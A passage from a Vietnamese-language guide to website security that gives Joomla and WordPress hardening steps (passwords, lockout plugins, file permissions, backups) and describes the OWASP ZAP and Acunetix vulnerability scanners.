truyền tệp .htaccess này tới server của bạn và đổi quyền hạn sang CHMOD 644.
- Joomla! Register Globals Emulation :
Bạn cần phải chắc chắn rằng biến "register global emulation" được thiết lập
thành OFF. Hãy mở tệp "global.php", tìm dòng define('RG_EMULATION', 1) và
đổi nó thành define('RG_EMULATION', 0).
- Cài vào thêm vào Server module mod_security và mod_rewrite để lọc và
chặn các truy vấn nguy hiểm.
5. Phương thức tấn công Website Wordpress :
Hiện nay, rất nhiều người sử dụng WordPress như một sự tiện lợi trong việc
tạo website miễn phí. Tuy nhiên, vấn đề bảo vệ website không được thực hiện tốt.
Chính vì thế trong thời gian qua, có rất nhiều site xây dựng trên nền WordPress bị
các hacker tấn công.
5.1 Nguyên nhân dẫn đến Website Wordpress bị tấn công :
- Không Upgrade các phiên bản mới để và lỗi ở phiên bản cũ.
- Cài đặt Plugin và các themes không rõ nguồn gốc hoặc không kiểm tra kỹ
source có dính mã độc hay shell trong đó.
- Mật khẩu cho quyền quản trị quá dễ hoặc dễ đoán.
1.2 Các cách cần thiết đễ tránh bị tấn công :
- Bảo mật thông tin đăng nhập : đặt mật khẩu dài và mạnh kèm theo các ký tự
khác nhau như “ !@#$%^&*” hoặc sử dụng plugin Chap Secure Login với
chức năng chính là gán thêm những đoạn mã hash ngẫu nhiên vào chuỗi ký
tự mật khẩu, sau đó tiến hành xác nhận tính hợp pháp của tài khoản với giao
thức CHAP.
- Chống tấn công dò mật khẩu Brute Force Attack : sử dụng plugin Login
LockDown giúp website của bạn giảm đi nguy cơ này. Công cụ này giúp ghi
lại sự kiện đăng nhập sai nhiều lần từ 1 IP, sau đó sẽ khóa lại IP này.
20
- Bảo vệ thư mục wp-admin : Bạn cần đổi địa chỉ đăng nhập vào trang quản trị
bằng cách sử dụng plugin Better WP Security để tăng cường bảo mật cho
WordPress. Chức năng đổi đường dẫn mặc định của trang quản trị thành
đường dẫn bất kỳ mà bạn muốn. Sau khi cài đặt, vào Security => Hide và
điền tên của đường dẫn mới của trang quản trị, trang đăng nhập và trang
đăng ký.
- Ẩn thư mục Plugins : Để ẩn thư mục này thì các bạn chỉ cần đăng tải file
index.html trống tới thư mục plugin này. Đơn giản, chỉ cần mở 1 ứng dụng
chỉnh sửa text bất kỳ, sau đó lưu lại thành index.html, dùng chương trình
FTP và tải file index.html này vào thư mục /wp-content/plugins.
- Đổi tên đăng nhập mặc định “admin” thành những tên khác có quyền tương
tự admin.
- Luôn cập nhật phiên bản mới của Wordpress và Plugin.
- Thực hiện quy trình quét lỗi thường xuyên : các bạn cần cài đặt tiện ích WP
Security Scan và tiến hành quét thường xuyên nhằm phát hiện ra các lỗ
hổng bảo mật trong hệ thống.
- Đặt mật khẩu cho thư mục trang quản trị : có thể sử dụng Password Protect
Directories có trong cPanelX ở các hosting thông dụng.
- Phân quyền cho file/thư mục trên host bằng CHMOD :
File đầu tiên chúng ta cần bảo vệ đó là wp-config.php vì file này lưu giữ những
thông tin đăng nhập vào cơ sở dữ liệu của mình.
Nếu như các bạn ít khi chỉnh sửa file này thì hãy CHMOD là 444 cho wpconfig. Điều này có nghĩa tất cả các nhóm người dùng chỉ có thể đọc chứ không
chỉnh sửa hay thực thi được, kể cả chủ sỡ hữu. Và sau khi đưa về 444, chúng ta
không thể chỉnh sửa nội dung file này, nếu muốn chỉnh sửa thì hãy đưa nó về 644.
Các file còn lại thì bạn có thể CHMOD là 644 và 755 cho các folder.
Nếu bạn muốn tối ưu hơn nữa, hãy CHMOD folder wp-admin, wp-includes
thành 101. Tuy nhiên để CHMOD thành 101 thì bạn không thể CHMOD trên FTP
được mà phải vào File Manager để làm việc này.
Sau khi CHMOD thành 101, bạn đăng nhập vào FTP sẽ không thể nhìn thấy các
folder đã được CHMOD, điều này đồng nghĩa bạn không thể làm gì được ngoại trừ
truy cập bằng trình duyệt.
21
Tiếp đến là CHMOD cho tất cả các file thành 400 (ngoại trừ các file trong thư
mục theme).
Nếu trong một số trường hợp máy chủ không cho phép CHMOD 400 thì bạn
có thể đổi thành 404.
Nếu như bạn thấy khó khăn trong việc CHMOD thì plugin File Permissions
& Size Check sẽ giúp bạn CHMOD và theo dõi các tập tin/thư mục dễ dàng trong
trang quản trị WordPress.
- Sao lưu ( BACKUP ) cơ sở dữ liệu thường xuyên.
- Sử dụng những plugin bảo mật của wordpress : WP Security Scan,
WordPress Exploit Scanner, Login Lockdown
II. CÁC CÔNG CỤ QUÉT LỖ HỔNG WEBSITE :
1. OWASP Zed Attack Proxy ( ZAP 2.2.2 ) :
Zed Attack Proxy (ZAP) là công cụ tích hợp của tập hợp nhiều công cụ
pentest có chức năng khác nhau. ZAP cho phép người sử dụng có thể thực hiện
nhiều tác vụ nhằm dò tìm điểm yếu trên ứng dụng web.
Những tiện ích nổi bật của ZAP
Intercepting Proxy : Bản chất ZAP là một proxy chặn giữa người dùng và
ứng dụng web
Automated scanner
Passive scanner
Brute Force scanner : Cho phép tìm cây thư mục,tính năng này là sự tích hợp
của công cụ Dir Buster mà mình đã giới thiệu trước đó.
Spider : Tìm kiếm các url trong website
Fuzzer : Tích hợp tiện ích JbroFuz.
Port scanner
Dynamic SSL certificates : tự tạo một cert root CA,thực hiện MiTM để
decrypt các traffic mã hóa bởi SSL.
22
Report: cung cấp output ra report dạng HTML và XML
Download
/>
:
Giao diện sao khi cài đặt :
2. Acunetix Web Vulnerability Scanner ( Sử dụng Trail 14 Day ) :
Acunetix WVS (Web Vulnerability Scanner) là chương trình tự động kiểm
tra các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay
Cross-Site Scripting,… và tìm kiếm những chính sách đối với mật khẩu đăng nhập
cũng như các phương thức xác thực vào Web Site.
Acunetix WVS là một công cụ quét lỗi cho ứng dụng Web dựa trên một cơ
sở dữ liệu rộng lớn được cập nhật thường xuyên, với các thuật toán heuristic đáp
ứng được các cơ chế họat động phức tạp của môi trường Web. Acunetix WVS có
thể tự động kiểm tra các lổ hỗng thông dụng như cross site scripting, sql injection
và các mối nhạy cảm khác của những web site có thể truy cập bằng trình duyệt, hay
23
những ứng dụng được xây dụng trên các kỹ thuật tiên tiến như AJAX.. để thực hiện
được điều này Acunetix WVS dựa trên nhiều phương pháp và công cụ tích hợp để:
• Crawling (lấy về) toàn bộ website gồm tất cả các liên kết trên site và cả
trong tập tin robots.txt sau đó hiển thị tòan bộ cấu trúc này một cách chi tiết.
• Sau tiến trình cwarling và khám phá tình trạng của ứng dụng web, Acunetix
WVS tự động phát động các đợt tấn công đã được lập trình sẳn dựa trên các lổ
hổng, giống như khi web site bị 1 hacker tấn công thực sự, phân tích các trang và
những vị trí có thể nhập liệu cùng với các sự kết hợp khác nhau của dữ liệu đầu vào
có thể làm cho website hiển thị những thông tin nhạy cảm.
• Sau khi tìm ra được các lổ hổng, Acunetix WVS thông báo trên các “Alerts
Node”, mỗi alert gồm các thông tin về lỗi cũng như các mối nguy hiểm có thể gặp
phải và “dĩ nhiên” là kèm theo các khuyến nghị về cách thức khắc phục.
• Sau khi tiến trình kiểm tra hòan tất, chúng ta có thể lưu lại thành một tập tin
để phân tích sau này, với công cụ báo cáo chuyên nghiệp sẽ giúp cho các web
master dễ dàng tổng hợp các kết quả kiểm tra khác nhau trên ứng dụng Web của
mình.
Sau khi quét, Acunetix WVS sẽ liệt kê cấu trúc của site, phiên bản webserver
đang sử dụng, URL không tồn tại, các lỗi phát hiện được cũng như mức độ Security
của site đang quét. Mức độ bảo mật của website được AWV đánh giá từ low,
medium, high. Nếu website được liệt kê ở mức low, hãy nhanh chóng fix lỗi mà
AWV liệt kê.
Download : />Giao diện sao khi cài đặt :
24
25